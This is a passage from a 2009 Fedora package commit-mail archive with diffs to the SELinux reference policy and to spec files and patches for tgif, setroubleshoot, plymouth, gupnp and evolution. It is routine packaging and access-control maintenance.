-@@ -1403,8 +1552,17 @@
+@@ -1403,8 +1553,17 @@
  	')
  
  	optional_policy(`
@@ -24361,8 +24761,29 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/logging.if serefpolicy-3.6.32/policy/modules/system/logging.if
 --- nsaserefpolicy/policy/modules/system/logging.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/logging.if	2009-09-30 16:12:48.000000000 -0400
-@@ -624,7 +624,7 @@
++++ serefpolicy-3.6.32/policy/modules/system/logging.if	2009-10-07 13:42:04.000000000 -0400
+@@ -69,6 +69,20 @@
+ 
+ ########################################
+ ## <summary>
++##	Set tty auditing
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`logging_set_tty_audit',`
++	allow $1 self:netlink_audit_socket { r_netlink_socket_perms nlmsg_tty_audit };
++')
++
++########################################
++## <summary>
+ ##	Set up audit
+ ## </summary>
+ ## <param name="domain">
+@@ -624,7 +638,7 @@
  	')
  
  	files_search_var($1)
@@ -24371,7 +24792,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -708,6 +708,8 @@
+@@ -708,6 +722,8 @@
  	files_search_var($1)
  	manage_files_pattern($1, logfile, logfile)
  	read_lnk_files_pattern($1, logfile, logfile)
@@ -24603,7 +25024,7 @@ diff -b -B --ignore-all-space --exclude-
  	modutils_domtrans_insmod(lvm_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/miscfiles.if serefpolicy-3.6.32/policy/modules/system/miscfiles.if
 --- nsaserefpolicy/policy/modules/system/miscfiles.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/miscfiles.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/miscfiles.if	2009-10-07 13:48:11.000000000 -0400
 @@ -87,6 +87,44 @@
  
  ########################################
@@ -26162,7 +26583,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/sysnetwork.te serefpolicy-3.6.32/policy/modules/system/sysnetwork.te
 --- nsaserefpolicy/policy/modules/system/sysnetwork.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/sysnetwork.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/sysnetwork.te	2009-10-07 14:46:28.000000000 -0400
 @@ -20,6 +20,9 @@
  init_daemon_domain(dhcpc_t, dhcpc_exec_t)
  role system_r types dhcpc_t;
@@ -26211,7 +26632,15 @@ diff -b -B --ignore-all-space --exclude-
  files_etc_filetrans(dhcpc_t, net_conf_t, file)
  
  # create temp files
-@@ -107,11 +114,13 @@
+@@ -81,6 +88,7 @@
+ kernel_read_system_state(dhcpc_t)
+ kernel_read_network_state(dhcpc_t)
+ kernel_read_kernel_sysctls(dhcpc_t)
++kernel_request_load_module(dhcpc_t)
+ kernel_use_fds(dhcpc_t)
+ 
+ corecmd_exec_bin(dhcpc_t)
+@@ -107,11 +115,13 @@
  # for SSP:
  dev_read_urand(dhcpc_t)
  
@@ -26226,7 +26655,7 @@ diff -b -B --ignore-all-space --exclude-
  files_search_home(dhcpc_t)
  files_search_var_lib(dhcpc_t)
  files_dontaudit_search_locks(dhcpc_t)
-@@ -183,25 +192,23 @@
+@@ -183,25 +193,23 @@
  ')
  
  optional_policy(`
@@ -26260,7 +26689,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -212,6 +219,7 @@
+@@ -212,6 +220,7 @@
  optional_policy(`
  	seutil_sigchld_newrole(dhcpc_t)
  	seutil_dontaudit_search_config(dhcpc_t)
@@ -26268,7 +26697,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -223,6 +231,10 @@
+@@ -223,6 +232,10 @@
  ')
  
  optional_policy(`
@@ -26279,7 +26708,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_xen_state(dhcpc_t)
  	kernel_write_xen_state(dhcpc_t)
  	xen_append_log(dhcpc_t)
-@@ -235,7 +247,6 @@
+@@ -235,7 +248,6 @@
  #
  
  allow ifconfig_t self:capability { net_raw net_admin sys_tty_config };
@@ -26287,7 +26716,7 @@ diff -b -B --ignore-all-space --exclude-
  allow ifconfig_t self:process ~{ ptrace setcurrent setexec setfscreate setrlimit execmem execheap execstack };
  allow ifconfig_t self:fd use;
  allow ifconfig_t self:fifo_file rw_fifo_file_perms;
-@@ -249,6 +260,8 @@
+@@ -249,6 +261,8 @@
  allow ifconfig_t self:sem create_sem_perms;
  allow ifconfig_t self:msgq create_msgq_perms;
  allow ifconfig_t self:msg { send receive };
@@ -26296,7 +26725,7 @@ diff -b -B --ignore-all-space --exclude-
  # Create UDP sockets, necessary when called from dhcpc
  allow ifconfig_t self:udp_socket create_socket_perms;
  # for /sbin/ip
-@@ -260,7 +273,9 @@
+@@ -260,7 +274,9 @@
  kernel_use_fds(ifconfig_t)
  kernel_read_system_state(ifconfig_t)
  kernel_read_network_state(ifconfig_t)
@@ -26306,7 +26735,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_rw_net_sysctls(ifconfig_t)
  
  corenet_rw_tun_tap_dev(ifconfig_t)
-@@ -269,15 +284,23 @@
+@@ -269,15 +285,23 @@
  # for IPSEC setup:
  dev_read_urand(ifconfig_t)
  
@@ -26331,7 +26760,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_dontaudit_read_root_files(ifconfig_t)
  
-@@ -294,6 +317,8 @@
+@@ -294,6 +318,8 @@
  
  seutil_use_runinit_fds(ifconfig_t)
  
@@ -26340,7 +26769,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_use_user_terminals(ifconfig_t)
  userdom_use_all_users_fds(ifconfig_t)
  
-@@ -330,8 +355,21 @@
+@@ -330,8 +356,22 @@
  ')
  
  optional_policy(`
@@ -26361,6 +26790,7 @@ diff -b -B --ignore-all-space --exclude-
 +optional_policy(`
 +	hal_dontaudit_rw_dgram_sockets(dhcpc_t)
 +	hal_dontaudit_rw_pipes(ifconfig_t)
++	hal_dontaudit_rw_dgram_sockets(ifconfig_t)
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/udev.fc serefpolicy-3.6.32/policy/modules/system/udev.fc
 --- nsaserefpolicy/policy/modules/system/udev.fc	2009-07-14 14:19:57.000000000 -0400
@@ -27293,7 +27723,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-05 11:13:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-07 16:37:24.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -28166,7 +28596,15 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -835,6 +889,32 @@
+@@ -826,6 +880,7 @@
+ 	')
+ 
+ 	userdom_login_user_template($1)
++	allow $1_t self:netlink_kobject_uevent_socket create_socket_perms;
+ 
+ 	typeattribute $1_t unpriv_userdomain;
+ 	domain_interactive_fd($1_t)
+@@ -835,6 +890,32 @@
  	# Local policy
  	#
  
@@ -28199,7 +28637,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
-@@ -865,51 +945,81 @@
+@@ -865,51 +946,81 @@
  
  	userdom_restricted_user_template($1)
  
@@ -28294,7 +28732,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1053,8 @@
+@@ -943,8 +1054,8 @@
  	# Declarations
  	#
  
@@ -28304,7 +28742,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,11 +1063,12 @@
+@@ -953,11 +1064,12 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -28319,7 +28757,7 @@ diff -b -B --ignore-all-space --exclude-
  	# cjp: why?
  	files_read_kernel_symbol_table($1_t)
  
-@@ -975,36 +1086,57 @@
+@@ -975,36 +1087,61 @@
  		')
  	')
  
@@ -28382,6 +28820,10 @@ diff -b -B --ignore-all-space --exclude-
 +	')
 +
 +	optional_policy(`
++		wine_role_template($1, $1_r, $1_t)
++	')
++
++	optional_policy(`
 +		postfix_run_postdrop($1_t, $1_r)
 +	')
 +
@@ -28391,7 +28833,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1172,7 @@
+@@ -1040,7 +1177,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -28400,7 +28842,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1181,7 @@
+@@ -1049,8 +1186,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -28410,7 +28852,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1206,9 @@
+@@ -1075,6 +1211,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -28420,7 +28862,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1223,7 @@
+@@ -1089,6 +1228,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -28428,7 +28870,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1231,6 @@
+@@ -1096,8 +1236,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -28437,7 +28879,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1257,8 @@
+@@ -1124,6 +1262,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -28446,7 +28888,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1287,6 @@
+@@ -1152,20 +1292,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -28467,7 +28909,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1332,7 @@
+@@ -1211,6 +1337,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -28475,7 +28917,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1398,15 @@
+@@ -1276,11 +1403,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -28491,7 +28933,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1517,13 @@
+@@ -1391,12 +1522,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -28506,7 +28948,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1556,14 @@
+@@ -1429,6 +1561,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -28521,7 +28963,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1579,11 @@
+@@ -1444,9 +1584,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -28533,7 +28975,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1640,25 @@
+@@ -1503,6 +1645,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -28559,7 +29001,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1733,8 @@
+@@ -1577,6 +1738,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -28568,7 +29010,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1828,7 @@
+@@ -1670,6 +1833,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -28576,7 +29018,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1956,32 @@
+@@ -1797,19 +1961,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -28616,7 +29058,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2016,7 @@
+@@ -1844,6 +2021,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -28624,7 +29066,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2564,7 @@
+@@ -2391,27 +2569,7 @@
  
  ########################################
  ## <summary>
@@ -28653,7 +29095,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2765,11 +2918,32 @@
+@@ -2765,11 +2923,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -28688,7 +29130,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3071,25 @@
+@@ -2897,7 +3076,25 @@
  		type user_tmp_t;
  	')
  
@@ -28715,7 +29157,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3126,7 @@
+@@ -2934,6 +3131,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -28723,7 +29165,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3257,559 @@
+@@ -3064,3 +3262,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.938
retrieving revision 1.939
diff -u -p -r1.938 -r1.939
--- selinux-policy.spec	5 Oct 2009 21:16:36 -0000	1.938
+++ selinux-policy.spec	7 Oct 2009 20:56:21 -0000	1.939
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 21%{?dist}
+Release: 22%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-22
+- Allow polickit to read meminfo
+
 * Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-21
 - Allow dovecot_t getcap, setcap
 



From mtasaka at fedoraproject.org  Wed Oct  7 20:58:42 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:58:42 +0000 (UTC)
Subject: rpms/tgif/devel tgif.spec,1.12,1.13
Message-ID: <20091007205842.1139711C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3859

Modified Files:
	tgif.spec 
Log Message:
Even more


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/tgif.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- tgif.spec	7 Oct 2009 20:52:06 -0000	1.12
+++ tgif.spec	7 Oct 2009 20:58:41 -0000	1.13
@@ -17,6 +17,7 @@ BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
 BuildRequires:	libXmu-devel
+BuildRequires:	libidn-devel
 BuildRequires:	zlib-devel
 Requires:	ghostscript
 Requires:	netpbm-progs



From mtasaka at fedoraproject.org  Wed Oct  7 21:04:27 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 21:04:27 +0000 (UTC)
Subject: rpms/tgif/F-11 tgif.spec,1.10,1.11
Message-ID: <20091007210427.4929711C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5164/F-11

Modified Files:
	tgif.spec 
Log Message:
Fix BR


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/tgif.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- tgif.spec	7 Oct 2009 20:44:47 -0000	1.10
+++ tgif.spec	7 Oct 2009 21:04:26 -0000	1.11
@@ -17,6 +17,8 @@ BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
 BuildRequires:	libXmu-devel
+BuildRequires:	libidn-devel
+BuildRequires:	zlib-devel
 Requires:	ghostscript
 Requires:	netpbm-progs
 Requires:	xorg-x11-fonts-75dpi



From mtasaka at fedoraproject.org  Wed Oct  7 21:04:27 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 21:04:27 +0000 (UTC)
Subject: rpms/tgif/F-12 tgif.spec,1.11,1.12
Message-ID: <20091007210427.A6CF411C0298@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5164/F-12

Modified Files:
	tgif.spec 
Log Message:
Fix BR


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/tgif.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- tgif.spec	7 Oct 2009 20:44:47 -0000	1.11
+++ tgif.spec	7 Oct 2009 21:04:27 -0000	1.12
@@ -17,6 +17,8 @@ BuildRequires:	imake
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
 BuildRequires:	libXmu-devel
+BuildRequires:	libidn-devel
+BuildRequires:	zlib-devel
 Requires:	ghostscript
 Requires:	netpbm-progs
 Requires:	xorg-x11-fonts-75dpi



From dwalsh at fedoraproject.org  Wed Oct  7 21:13:56 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed,  7 Oct 2009 21:13:56 +0000 (UTC)
Subject: rpms/setroubleshoot/F-12 setroubleshoot.spec, 1.167, 1.168 sources, 
	1.140, 1.141
Message-ID: <20091007211356.BE17A11C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8830

Modified Files:
	setroubleshoot.spec sources 
Log Message:
* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
- Don't throw up an error box if yum cache is not setup



Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/setroubleshoot.spec,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- setroubleshoot.spec	25 Sep 2009 16:18:02 -0000	1.167
+++ setroubleshoot.spec	7 Oct 2009 21:13:55 -0000	1.168
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.32
+Version: 2.2.37
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,22 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
+- Don't throw up an error box if yum cache is not setup
+
+* Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.36-1
+- Fix Fix It button
+- Remove Setroubleshoot: from every heading
+
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.35-1
+- Fix translations, plurals and glade
+	- Update Po
+	- Fix plural form
+	- Add support for Green Plugins
+
+* Mon Sep 28 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.33-1
+- Fix translations, plurals and glade
+
 * Fri Sep 25 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.32-1
 - Fix browser bug handling
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/sources,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- sources	25 Sep 2009 16:18:02 -0000	1.140
+++ sources	7 Oct 2009 21:13:56 -0000	1.141
@@ -1 +1 @@
-fac598f35d2071fea3133ed92bb3031d  setroubleshoot-2.2.32.tar.gz
+b439814afe8ed4ff775cfea0b897834a  setroubleshoot-2.2.37.tar.gz



From rstrode at fedoraproject.org  Wed Oct  7 21:30:49 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed,  7 Oct 2009 21:30:49 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-firstboot-on-radeon.patch, NONE,
	1.1 plymouth.spec, 1.151, 1.152
Message-ID: <20091007213049.39D0311C0299@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16492

Modified Files:
	plymouth.spec 
Added Files:
	fix-firstboot-on-radeon.patch 
Log Message:
- Prevent firstboot's X from crashing on radeon hardware. This should
  only affect multihead users, but for some reason it's getting some
  single head users as well.


fix-firstboot-on-radeon.patch:
 plugin.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE fix-firstboot-on-radeon.patch ---
>From 0bb06a8afadb51ba109019b6df2415d6e8d30aa8 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Wed, 7 Oct 2009 17:26:16 -0400
Subject: [PATCH] [drm] Destroy console buffer object on error path

We were leaking the object if it couldn't be mapped.
---
 src/plugins/renderers/drm/plugin.c |    6 +++++-
 1 files changed, 5 insertions(+), 1 deletions(-)

diff --git a/src/plugins/renderers/drm/plugin.c b/src/plugins/renderers/drm/plugin.c
index 22a4394..3081ac8 100644
--- a/src/plugins/renderers/drm/plugin.c
+++ b/src/plugins/renderers/drm/plugin.c
@@ -812,7 +812,11 @@ ply_renderer_head_set_scan_out_buffer_to_console (ply_renderer_backend_t *backen
 
   if (!backend->driver_interface->map_buffer (backend->driver,
                                               head->console_buffer_id))
-    return false;
+    {
+      backend->driver_interface->destroy_buffer (backend->driver,
+                                                 head->console_buffer_id);
+      return false;
+    }
 
   if (head->area.width != width || head->area.height != height)
     {
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- plymouth.spec	6 Oct 2009 23:21:59 -0000	1.151
+++ plymouth.spec	7 Oct 2009 21:30:46 -0000	1.152
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.4%{?dist}
+Release: 0.2009.29.09.5%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -32,6 +32,7 @@ Obsoletes: plymouth-theme-pulser < 0.7.0
 Patch0: fix-2nd-show-splash.patch
 Patch1: fix-text-password-crash.patch
 Patch2: fix-firstboot-on-intel.patch
+Patch3: fix-firstboot-on-radeon.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -242,6 +243,7 @@ plugin.
 %patch0 -p1 -b .fix-2nd-show-splash
 %patch1 -p1 -b .fix-text-password-crash
 %patch2 -p1 -b .fix-firstboot-on-intel
+%patch3 -p1 -b .fix-firstboot-on-radeon
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -459,6 +461,11 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.5
+- Prevent firstboot's X from crashing on radeon hardware. This should
+  only affect multihead users, but for some reason it's getting some
+  single head users as well.
+
 * Tue Oct 06 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.4
 - Prevent firstboot's X from crashing on intel hardware
 



From pbrobinson at fedoraproject.org  Wed Oct  7 21:33:09 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 21:33:09 +0000 (UTC)
Subject: rpms/gupnp/devel .cvsignore, 1.10, 1.11 gupnp.spec, 1.26,
	1.27 sources, 1.10, 1.11
Message-ID: <20091007213309.1D76211C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/gupnp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17534

Modified Files:
	.cvsignore gupnp.spec sources 
Log Message:
- Update to 0.13.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	17 Sep 2009 13:26:03 -0000	1.10
+++ .cvsignore	7 Oct 2009 21:33:06 -0000	1.11
@@ -1 +1 @@
-gupnp-0.13.0.tar.gz
+gupnp-0.13.1.tar.gz


Index: gupnp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/devel/gupnp.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- gupnp.spec	17 Sep 2009 15:10:40 -0000	1.26
+++ gupnp.spec	7 Oct 2009 21:33:07 -0000	1.27
@@ -1,5 +1,5 @@
 Name:           gupnp
-Version:        0.13.0
+Version:        0.13.1
 Release:        1%{?dist}
 Summary:        A framework for creating UPnP devices & control points
 
@@ -85,6 +85,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.13.1-1
+- Update to 0.13.1
+
 * Thu Sep 17 2009 Bastien Nocera <bnocera at redhat.com> 0.13.0-1
 - Update to 0.13.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gupnp/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	17 Sep 2009 13:26:03 -0000	1.10
+++ sources	7 Oct 2009 21:33:07 -0000	1.11
@@ -1 +1 @@
-d335e042e859376483615ee5bbb602e2  gupnp-0.13.0.tar.gz
+9b5fcf8146ba9a2bd84382f61717aa0e  gupnp-0.13.1.tar.gz



From mbarnes at fedoraproject.org  Wed Oct  7 21:37:49 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Wed,  7 Oct 2009 21:37:49 +0000 (UTC)
Subject: rpms/evolution/F-12 .cvsignore, 1.116.2.28,
	1.116.2.29 evolution.spec, 
	1.394.2.66, 1.394.2.67 sources, 1.116.2.33, 1.116.2.34
Message-ID: <20091007213749.7BEF511C00E6@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20068

Modified Files:
      Tag: private-mbarnes-kb
	.cvsignore evolution.spec sources 
Log Message:

* Wed Oct 07 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.5.fc12
- Snapshot of "kill-bonobo" progress at commit 7813f02.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/.cvsignore,v
retrieving revision 1.116.2.28
retrieving revision 1.116.2.29
diff -u -p -r1.116.2.28 -r1.116.2.29
--- .cvsignore	3 Oct 2009 02:23:23 -0000	1.116.2.28
+++ .cvsignore	7 Oct 2009 21:37:47 -0000	1.116.2.29
@@ -1 +1 @@
-evolution-2.29.1-kill-bonobo-6fced70.tar.bz2
+evolution-2.29.1-kill-bonobo-7813f02.tar.bz2


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.394.2.66
retrieving revision 1.394.2.67
diff -u -p -r1.394.2.66 -r1.394.2.67
--- evolution.spec	4 Oct 2009 03:16:33 -0000	1.394.2.66
+++ evolution.spec	7 Oct 2009 21:37:48 -0000	1.394.2.67
@@ -1,5 +1,5 @@
 # This is an unofficial RPM for testing Evolution's kill-bonobo branch.
-%define hash 6fced70
+%define hash 7813f02
 
 %define dbus_glib_version 0.70
 %define dbus_version 1.0
@@ -45,7 +45,7 @@
 
 Name: evolution
 Version: 2.28.99
-Release: 1.kb.4%{?dist}
